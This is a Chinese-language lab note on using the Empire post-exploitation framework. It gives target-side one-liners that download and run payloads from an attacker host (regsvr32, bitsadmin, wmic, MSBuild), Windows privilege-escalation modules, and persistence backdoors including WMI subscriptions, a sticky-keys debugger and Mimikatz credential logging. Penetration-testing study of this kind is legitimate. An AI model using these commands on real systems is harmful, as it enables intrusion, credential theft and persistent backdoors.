empire(usestager用法、提權、持久化后門)
本章前提:已成功設置監聽器(如何設置監聽器請看day14篇)
1. usestager的幾種用法
windows/launcher_sct:
介紹:Regsvr32命令用於注冊COM組件,是Windows系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行。WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;2000系統的regsvr32.exe在winnt\system32文件夾下。
用法:regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
1) usestager windows/launcher_sct 進入windows/launcher_sct模塊
2) 設置一下參數
set Listener kali set OutFile /var/www/html/xx.sct |
3) execute 執行
4) 在靶機上運行 regsvr32 /u /n /s /i:http://192.168.227.129/xx.sct scrobj.dll
5) 成功返回會話
windows/launcher_vbs:
遠程下載:bitsadmin /transfer /n http://IP/xx.vbs path
1) usestager windows/launcher_vbs 進入windows/launcher_vbs模塊
2) 設置一下參數
3) execute 執行
4) 在靶機上運行
bitsadmin /transfer n http://192.168.227.129/xx.vbs C:\Users\xxx\Desktop\xx.vbs
5) 靶機執行.vbs文件,成功反彈會話
windows/launcher_xml:
MSBuild是一個免費的開源構建工具集,用於管理本地C++代碼.在Visual Studio2013之前,MSBuild是作為.NET框架的一部分,但是在其之后,MSBuild被綁定到了Visual Studio.所以,Visual Studio依賴於MSBuild,但是MSBuild並不依賴於Visual Studio。
用法:利用net4.0之后的版本中的MSBuild運行注入shellcode的xml文件反彈shell。
1) 跟前面兩個操作一樣生成xml文件到/var/www/html/文件夾下
2) 在靶機上下載該文件
3) 在靶機上cd到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\使用MSBuild運行xml
4) 成功反彈會話
windows/wmic:
WMIC擴展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了從命令行接口和批命令腳本執行系統管理的支持。
用法:wmic os get /format:"http://IP/xx.xsl"
1) 跟前面兩個的操作步驟一樣將生成的xsl存到html文件夾下
2) 在靶機上執行wmic os get /format:"http://192.168.227.129/xx.xsl"
3) 成功反彈會話
2. empire提權模塊
uac和bypassuac在day14有介紹
本地提權
ms16-135:Win32k 信息泄漏漏洞
若要利用此漏洞,攻擊者必須登錄到受影響的系統並運行經特殊設計的應用程序。此安全更新 程序通過更正 Windows 內核處理內存地址的方式來修復這個漏洞。
searchmodule ms16-135 查找ms16-135模塊
usemodule privesc/ms16-135 使用模塊
設置完參數后執行
成功反彈擁有特權的會話
ms16-032:輔助登錄特權提升漏洞
如果 Windows 輔助登錄服務未能正確管理內存中的請求句柄,Microsoft Windows 中會存在 一個特權提升漏洞。 成功利用此漏洞的攻擊者能夠以管理員身份運行任意代碼。
usemodule privesc/ms16-032 使用模塊
設置完參數執行
成功返回有系統特權的會話
powershell/privesc/sherlock 查找Windows本地特權升級漏洞
usemodule privesc/sherlock 使用該模塊
顯示本地特權升級的漏洞
利用powerup進行提權
PowerUp是一個PowerShell工具,可協助Windows系統上的本地特權升級。它包含多種方法來 識別和濫用易受攻擊的服務,以及DLL劫持機會,易受攻擊的注冊表設置和升級機會。它是PowerTools 的一部分,位於https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp。Empire 在privesc / powerup / *模塊中實現了PowerUp的升級功能 。
usemodule privesc/powerup/allchecks 檢測是否可以利用powerup漏洞
顯示存在漏洞
根據顯示存在的漏洞利用對應模塊
可以看到存在對服務可執行文件的配置不當權限(可通過service_exe_ *加以利用)
不過這邊我都試過了一遍,不是很好用
3. 持久化后門
PowerBreach
介紹:PowerBreach是一系列內存中的PowerShell后門,可為各種選項提供觸發器。
persistence/powerbreach/deaduser –接受用戶名和關於用戶名是否是域名(相對於本地帳戶)的開關/標志。腳本每隔Sleep秒就會檢查帳戶是否仍然存在,如果不存在則觸發登台邏輯。該后門不需要本地管理員權限。
理解:判斷你設置的用戶名是否存在(有沒有被改名或者刪除),當被改名的時候會就觸發該腳本反彈shell
usemodule persistence/powerbreach/deaduser 使用模塊
查看所需參數
設置相關參數
執行
把aaa改成了bbb
成功反彈shell
persistence/powerbreach/eventlog - 事件日志–按時間間隔查詢安全事件日志,以查找具有唯一觸發器值的事件。此后門DOES需要管理員權限才能訪問安全事件日志。
usemodule persistence/powerbreach/eventlog* 使用模塊
查看所需參數
設置相關參數
執行
打開靶機的eventvwr,當安全日志中存在HACKER(上面參數定義的可以自己更改)關鍵字時
成功反彈會話
由於是管理員權限留下的后門,所以返回的會話也擁有管理員權限
persistence/powerbreach /resolver –需要解析的主機名和觸發IP。腳本每隔睡眠秒數檢查一次主機名是否解析為觸發IP,否則將觸發暫存邏輯。該后門不需要本地管理員權限。
usemodule persistence/powerbreach/resolver 使用模塊
查看所需參數
設置相關參數
執行
靶機上去訪問一下127.0.0.1,讓他進行解析
成功反彈shell
Userland
persistence/userland/ * 模塊允許用戶態,從重啟的持久性(即無需管理權限)。如果指定了偵聽器,則會自動生成Empire代理的登台代碼並將其用作觸發的腳本邏輯。
persistence/userland /registry –在HKCU:Software\Microsoft\Windows\CurrentVersion\Run中設置一個值,以在選擇的任何存儲機制下執行腳本。僅當該用戶登錄時,這將導致腳本運行。
usemodule persistence/userland/registry 使用模塊
查看所需參數
設置相關參數
執行
將靶機注銷重新登錄,成功返回shell會話(這里用戶登錄的時候會有短暫的powershell彈框)
persistence/userland/schtask –配置計划的任務以在選擇任何存儲機制的情況下執行腳本。該腳本可以在DailyTime(HH:mm格式)下觸發,或者在用戶閑置IdleTime秒后觸發
理解:這個是放注冊表中的計划任務
usemodule persistence/userland/schtasks 使用模塊
查看所需參數
設置相關參數
執行
將靶機注銷重新登錄,等設置的時間到,成功返回shell會話
Elevated
persistence/elevated/*模塊允許重啟的持久性從升高的上下文(即具有管理特權)。如果指定了偵聽器,則會自動生成Empire代理的登台代碼並將其用作觸發的腳本邏輯。
理解:該模塊是擁有管理員權限留下的擁有權限的后門
persistence/elevated/registry、persistence/elevated/schtask,這兩個用法和之前的一樣,只不過需要管理員權限
persistence/elevated/wmi–配置永久WMI訂閱以激發存儲的腳本邏輯。該腳本可以在DailyTime(HH:mm格式)或使用AtStartup啟動系統時觸發。這具有難以檢測/去除的等級。
理解:這個是放注冊表中的計划任務
usemodule persistence/elevated/wmi* 使用模塊
查看所需參數
設置相關參數
執行
將靶機上驗證wmi,在powershell中直接輸入Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”
重啟靶機,成功反彈有管理員權限的shell
misc
persistence/misc/debugger*-在empire3.6.0版本中把persistence/ debugger / * 模塊整合到了persistence/misc/debugger*模塊中。您可以為RDP提示符下登錄前可訪問的各種可執行文件設置“映像文件執行選項”(又名調試器)。默認情況下,調試器設置為cmd.exe,它使您可以觸發通過RDP以SYSTEM身份運行的命令提示符,而無需實際登錄計算機。您還可以使用Binary參數指定另一個二進制文件的路徑。如果要調試器觸發暫存器,請設置Listener參數。這將為指定的偵聽器生成一個合適的暫存器,並將其存儲到指定的RegPath中。然后,您可以從RDP提示預身份驗證中觸發這些登台程序,但是請注意,一旦關閉RDP提示(在不活動30秒后發生),登台的代理將被殺死。
usemodule persistence/misc/debugger* 使用模塊
查看所需參數
設置參數
執行
在靶機win7登錄界面按5次shift,有個powershell的框一閃而過
成功返回會話,並且是管理員權限
persistence/misc/memssp –安裝Mimikatz的memssp模塊,該模塊應將所有身份驗證事件注銷到C:\ Windows \ System32 \ mimisla.log。應該重新引導持久。
usemodule persistence/misc/memssp* 使用模塊
直接運行就可以了
靶機對應目錄生成了mimisla.log文件
persistence/misc/disable_machine_acct_change –禁止目標更改其計算機帳戶密碼。如果首先運行mimikatz/credentials/logonpasswords來轉儲計算機帳戶密碼(帳戶以$結尾),則您應該具有對給定系統的持久訪問權限。清理選項也可用。
使用該模塊后直接運行就可以了